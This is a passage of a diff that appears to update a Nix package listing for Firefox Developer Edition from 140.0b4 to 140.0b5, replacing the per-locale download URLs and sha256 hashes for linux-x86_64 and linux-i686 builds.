+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/it/firefox-140.0b5.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "9f723893095f114ad85e1efeb8241018e77fe2c67c130d7c1e3528347d83e7df";
+      sha256 = "456adcf9c274637e211c8d0f19e64f288ab83a4a24b353fc55b399ed92ba8ebd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ja/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ja/firefox-140.0b5.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "3e4c5d1b66bf80cf6c60c30394852c4413157bfe00c04648dabec7d461d83685";
+      sha256 = "90235c0a0fa89fb72e64760fa613ffed6bc4c829019a4fd4744e15be523891e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ka/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ka/firefox-140.0b5.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "39c96201f2965d1c4e04bb7e10b380d2fba4466545c6f7ed6065466edeb796cc";
+      sha256 = "be4c4ed1517876d1b8fc6bc61827f2517e41a5f6456f9a66687948e458699da8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/kab/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/kab/firefox-140.0b5.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "785ed68e6de6fe0c683b424aa985649e0057bcceb3fff29389df590662019b6b";
+      sha256 = "19e9316dd5b08edb3e44a067446c2d87fc222a562c1fca8f2b8985652b0b69b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/kk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/kk/firefox-140.0b5.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "ed6314351021e49aa00ea3121545d17b884d0a016b210e80ae4a0426ff5089f2";
+      sha256 = "9bcd6689af6b3931acebdf57eae4d36b9fbe13e1efe7e1c458af146a6fca0b71";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/km/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/km/firefox-140.0b5.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "03af2b330ca148cd24a5155fbc31f331b4cc849dc65fc92aa566652a692118ea";
+      sha256 = "461dec754f0c5acb4100fd980aa50244dba4f17129dba26bef5d25bc95bc7079";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/kn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/kn/firefox-140.0b5.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "5af858ea0c84882e6f432ce0cb49b890dd9dbfc77f7f0a1df3e9dceb2a055857";
+      sha256 = "d7b6b9442a088633245e7dfa9d75748d3c8a8549eeaac41b147d2d61e2ea2c52";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ko/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ko/firefox-140.0b5.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "e05d5fbf17993d217ee9c87935181540b1fb3fae861e9c9432c677a144d6d5a4";
+      sha256 = "97ba610de2be5754682a903f56bfb486301ea9fdd6fd59320715a05cac426bd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/lij/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/lij/firefox-140.0b5.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "ff343e1471223c89b91b7dd5ec432517907cc3e2f7abfb4652a3fcb6c327ff39";
+      sha256 = "0a96d7be3e3522ae802eca359080f99adaeb5cb534c0e96588a87b3c1f6899d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/lt/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/lt/firefox-140.0b5.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "7b200ec16524ca006ecbe4a9110a1c18d7d795e71be1f46d402f494de194c3f2";
+      sha256 = "2fd758c3e16e9c2289683bfe219f7b950269f21a359fec496c3fffbff915bb13";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/lv/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/lv/firefox-140.0b5.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "ec4214a35bfa6fadef80a22a68f74bfa493d98f2a1c9ac56d795ddab892e1154";
+      sha256 = "b0375b051d45de1722893042c2a6adf36cfb0a463078da62603a06421610b2f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/mk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/mk/firefox-140.0b5.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "12224a1d1326bb76fccecdc44ef10b943a348c5db0b0986fe1f973a515496c23";
+      sha256 = "fdc935009644294a4349474c28d087c29ca1a07934dc7b5ba11e34c367f858e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/mr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/mr/firefox-140.0b5.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "8caa52f7d7eba810af4ee5fe666a0f8b42f06178a048b9c3df552d60de229512";
+      sha256 = "38675d2e5500a21d93f8184f0e1839a490405dd56701bae901a1f4fecd0e41fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ms/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ms/firefox-140.0b5.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "2ec5bd3d8077427e6f897f24a65dd0795106b41c53f869e198c473d80f9a1187";
+      sha256 = "9fe67041bba54945fbdf969c0c585bee99560132a2fe85db632400c08cf341d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/my/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/my/firefox-140.0b5.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "43e005ebbc0e36c28beeb7459e4332f258a5ed4c7782ac1edfe9e667f0f27320";
+      sha256 = "bc8d5e0d70b4c0ba24ba956b460f5d70fd6a9c2d09bb6effa9f142655ccb6547";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/nb-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/nb-NO/firefox-140.0b5.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "22e97b6b60c15ebd0aecd0d4c4add317cc33f60a05cbfcb7e2cbbf415b740fca";
+      sha256 = "b97f0e0d3f2018d82778039a27a11b67021936c9bf526ff85b4795e6040fe563";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ne-NP/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ne-NP/firefox-140.0b5.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "1e16445ab882842732731a9c03d68a6c1f2141ee2a78a00d2cec4d8310361657";
+      sha256 = "05d9dd4c60971f42262e16cb42417acdbe36c595fada3bdac9b4ad1b9797d736";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/nl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/nl/firefox-140.0b5.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "da05f794f09e9c91b7b0abb0d446ff0d93d4e21ec9519464a29d39d8025e9144";
+      sha256 = "ddf3b254e789cc5133ed56b3ddf83f8cec6b9f1b8d840d3885c92c3395b18198";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/nn-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/nn-NO/firefox-140.0b5.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "2d1b1f7ef8610cc251c1555218babc2d93e8189088dc00fd5c64d76e5d1b1524";
+      sha256 = "34aece8d99b5b0996b5fc46ce3bc622e052dce3bff8313c4248de22e2391823c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/oc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/oc/firefox-140.0b5.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "89ea5fa03cc3ad404bdcf4a8586daa44a9de04552be5618f5fca1cd033572832";
+      sha256 = "f7f36e08f8602abcaa855cde1f825e6ea68aeef51fb9ccf48cab40868ddb7ad0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pa-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pa-IN/firefox-140.0b5.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "4722a3918593e032bd846f1ffd00e432014e84afc4f65b84d40b6345972456d5";
+      sha256 = "9a6d448c1b564dbe8f839ea47ff03d5f9b029895e095d916ac9d6b4e47957887";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pl/firefox-140.0b5.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "5dc3a51b9d3b63be9c55ee7fa3e6bc489fec279c1cdda3fb7a905d2b892bc236";
+      sha256 = "cfcec2e6a45f8808d5ac1ab24760b28a21c77851b607e358b225a144fbf87e97";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pt-BR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pt-BR/firefox-140.0b5.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "47c5182687c634fe5d71bd4e4de4fa564fb1c5e11cdc1e1909c61ef4887ae64e";
+      sha256 = "b586d6f8327547fd985ab8ece9effe5ae508f839a9c4e85012c39174fab21eb4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/pt-PT/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pt-PT/firefox-140.0b5.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "ac74c82c721cd6690cbc5d684b684f9b8856ee369f6336a582a7afaa70796ddf";
+      sha256 = "4aec4f5a831ad1720d3705059ac2a7ada0842b730d9df5ba00b628f068209a6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/rm/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/rm/firefox-140.0b5.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "c0b3597bdb10e90649b0d4d7f7021fae07540f59b8ff001c37e3384ca191a290";
+      sha256 = "03fefcfec26e178b1af63f35c8889536a96af3f40f95ec967b7f47e3af28f061";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ro/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ro/firefox-140.0b5.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "bbf4412b492a5aa9c69a24e98549cf58715174dc7a5332ad68e7057096c57712";
+      sha256 = "8b0ad9ee6e3572bb46cd2ee3f0d2ce5c0a31801b713c28307b9239c124f9baee";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ru/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ru/firefox-140.0b5.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "a9760586112083eb36a80ad983ba2b2871d9388567de54786a074639ad1e60d2";
+      sha256 = "81c813ef203182d8d1d3b66ba9f096dfa6be1620d013852f4582c728ebc1e08e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sat/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sat/firefox-140.0b5.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "66207f430c6ca2ec178d749c1a73950b13d4532f455303689cb6f333dd42d534";
+      sha256 = "171b85bf91ed8e51568ca1510455d6f12044a414604e0950c20ae9b7ab9e7425";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sc/firefox-140.0b5.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "39a81cdcab313029ef8517a8c5ba99ee00bad85eb0d8bcb4e474e978bec531b8";
+      sha256 = "dfe78faa9752928e3fa198379392963363c22669d6a830ab5d03fa596a436584";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sco/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sco/firefox-140.0b5.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "dc12f5de8d130e29ed6afdd973999f02d64a7e24a0319b4315dacd284411cbb5";
+      sha256 = "333cb935eafd06ede21d8f29fc9b94c2ef617f97b7ef29612af5842e57a0a20f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/si/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/si/firefox-140.0b5.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "882a0fe884852ae0674e504385801f5d37bc385f750cba7a657cce3b5208b915";
+      sha256 = "7fc61ce0118c16c866ae74e15aa68b8cba8a799afead5841efe85c799adbeb21";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sk/firefox-140.0b5.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "ea153b3fc99a99391cefd60bd1ad85c7f20d8ab75c8ede046400ba11cc84270a";
+      sha256 = "fbf4c3f430558a1925f8aeb263ef9f31313b7dac9a5f965cca5c58643d183e61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/skr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/skr/firefox-140.0b5.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "8bf2a2bd7162e0d77975ca84e90a11e5e3a3768dc6f2aa514ae337c6297234e3";
+      sha256 = "ae4933c0bc448b40f44de22ea8ca6d3c65fc767df3e41a1224c44365a9c86f58";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sl/firefox-140.0b5.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "e84d6fc022ba4073b8fe718b97bd24f2a4607aa2373bfed8d5e3342392378d79";
+      sha256 = "4a91e009d7ee4fb7586874212f5c8244c228836ca22f5eb7a2dbe2b915587492";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/son/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/son/firefox-140.0b5.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "288cab80c8fc5f4d86c11e3a2eb7b709c7c83b1a9bb0af6277270e5de2c1a3a4";
+      sha256 = "2448c45428dc05793a0fe4fe90209809879b4476d4199f942ca4e4bbdbf2b025";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sq/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sq/firefox-140.0b5.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "01ac1ac79660e7881254e734b5fdd27bca4d5e4ca59edb9596f7e06351d70ac6";
+      sha256 = "0f11bea317827b4fd23cbc6e3bb70aa10f7f879886c16a9106fee8521ca1f440";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sr/firefox-140.0b5.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "fb3785faf424ced77ad426ca57af0f3e012a95369b1d21c2e45a0ee20b141513";
+      sha256 = "449844010b9fe25100d21a796203cd05353b3151ea012a7f6dcabd2992057c2d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/sv-SE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sv-SE/firefox-140.0b5.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "fdd59c366029567c7304766df55c1b26cf343ea894ce860c09c9b6fc7de2d329";
+      sha256 = "f03a9888f5b98b3bf371bc0617a604892abda50220348bb76fa41d2600ad091e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/szl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/szl/firefox-140.0b5.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "a134efee05e83eab94598023c344f8a5d1689577e3a502394207404c31f9e617";
+      sha256 = "68b101310ca823bb8ca02a86644704afdd6ce52378d96537cca4cbeee6670a5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ta/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ta/firefox-140.0b5.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "d9435ca50da4cccea83236810861f171b82c226e309cfcdc4bc482cc7700824f";
+      sha256 = "199406d08eb4b0c0002123eb13bb43d894f19de3686406542b75b63ea9debdca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/te/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/te/firefox-140.0b5.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "c39704e465a36dca6aab92f286212be3bf19d3bb13ffd9beb116c082a93d5b5b";
+      sha256 = "4fe2b70b0038bd505b1d98d711bfb7495decaae51dbc9a7728e23ad05d72fc60";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/tg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/tg/firefox-140.0b5.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "8f7399c91dace4831a8ee9e8577cc1c5a4f6adf03dca99727b4a02dd75e3fd44";
+      sha256 = "bebe0aa276b1aa9c029898487ad71e4ab7e19419c973afd0bb308a86c70d1af1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/th/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/th/firefox-140.0b5.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "0272f94a2af35c3b1c119f840f773048172216512d413fc96bac3000d700af47";
+      sha256 = "26f91bf692ab8e1ded4f1cdd7701786098c4019ee5cbf55abc5c7ed1dabb1e70";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/tl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/tl/firefox-140.0b5.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "651df98e8048a27031bd7a3e2fc831f730a096b353c8ee4bc122dbb2efa9f9b8";
+      sha256 = "4f143b73ee41bcaa442db99e65a86f47d2f517e854fdaea51ac32f23acc51feb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/tr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/tr/firefox-140.0b5.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "3cf549f861a4116de29a557bb156c20ac00fe4c74b3d7d34ee034c58d93e02c0";
+      sha256 = "4804e037f5f1c77d94f539a7ecf55ed1fd76e24a240276a32274d1bab8b78f0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/trs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/trs/firefox-140.0b5.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "e95c80ae3cde23c2e5c46d275a3cf7fc7eafff7501e36f8eed75c35715099a82";
+      sha256 = "0eecf30a34a7253efb99fd12f354dda39aba1a967ef9fdc2491399a7fa2d6f83";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/uk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/uk/firefox-140.0b5.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "5a449bbdcc17018e4ab397da53fb494088822785ad12a8cecedbf29b3f4ab469";
+      sha256 = "1676a467fc60e18d7625a2d8ff56447ee2d324ece1798f2a72e01fdd04b07590";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/ur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ur/firefox-140.0b5.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "83bc6404434776cdfffe5dbb881ae129c770105199db75d93cb548e6d8e1b786";
+      sha256 = "d1be9330ced56239b4b060fa0840dc66e0eb6672e56b7c53ee6d3a9a7ab66497";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/uz/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/uz/firefox-140.0b5.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "03e14237adb3018e6f87a8c5f5f8958027de62bc61ae13d32f243416be24f8a3";
+      sha256 = "fba3e9e66bae2d51de4d619c878434794a31928a6f17198b88cf9b3611b5dd8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/vi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/vi/firefox-140.0b5.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "4b894630987ede195b9cefd5d1820dee6947b90059e852ab3af121edb26c23a6";
+      sha256 = "389182910fc820cd7742b6adb9693c6d819e7ef18d8d59c3947d742f863858c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/xh/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/xh/firefox-140.0b5.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "21ec74dba16ce06e4801454ff7f12a08776eb51f811395910f5db5ef86c476ca";
+      sha256 = "54a8be4548e339b09d8f0a580e21dcfaf6b805879cc4b11d322ad1c7e61814c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/zh-CN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/zh-CN/firefox-140.0b5.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "c6b51c4b57e7930133f9b787a771f6ffbc07557c039f94c5e897b338a9429379";
+      sha256 = "910a3c47ad88ce41190640d00d13b9bce983fe82b1b424c2e0ea8ffdc46cb8c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-x86_64/zh-TW/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/zh-TW/firefox-140.0b5.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "58cb18063b47f3fb738769a9384adb48f5ac31350209328f013a683f4bf55736";
+      sha256 = "084aef73cc86d91d0de87756d24c10bd9408d669766be163ef2ca654255d3ad2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ach/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ach/firefox-140.0b5.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "ba1ea1cb0fc6050123edbaf5c49211c8ee2c897fb01cebd85092d3802ad90007";
+      sha256 = "31b38971dbb4179219abebba2e4af9ebc7408cc22efa7d509a6d2e95e4483d31";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/af/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/af/firefox-140.0b5.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "a9b39fedc4a4fbd62a8a2ff8c56bee38c2785c5172a6017da1b01efca8e79981";
+      sha256 = "088d709c208f5b6c61ac3b2c9f92b1033f2f4e12ec8c59d6818e489f83c6ce7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/an/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/an/firefox-140.0b5.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "b70844ad6f608cc3f9d212929e4e278ab86eb7a0ee6933ac73a4673a54979533";
+      sha256 = "2f6ea2031c3297c08acf4129727c439839a8187169caaa3cfb4f7e0af435c0d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ar/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ar/firefox-140.0b5.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "a3964ca7ef4331a9dfc59a2782ba02695e63698200920435b34cfb5d2a91b74c";
+      sha256 = "f655136b09c77116ea3a34ff249233e704630f82fbeeca4e69e536e6cf54e5f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ast/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ast/firefox-140.0b5.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "7953ed51d14b92a69ef579e9d36f0abdcf9e8e29e3e87f9c098605e520dbbb92";
+      sha256 = "bc037b74217b18486f22f749150c43fdd5832f9468fcd78f874d686af07f9d12";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/az/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/az/firefox-140.0b5.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "e306ba790d170ce433de39816ee322200d9332d9e4b4a3200233c77aed23fd46";
+      sha256 = "7518cb0f99987c58c6974073e207b3d61acf0da2205113c5b2850e017d96ef6a";
     }
     {
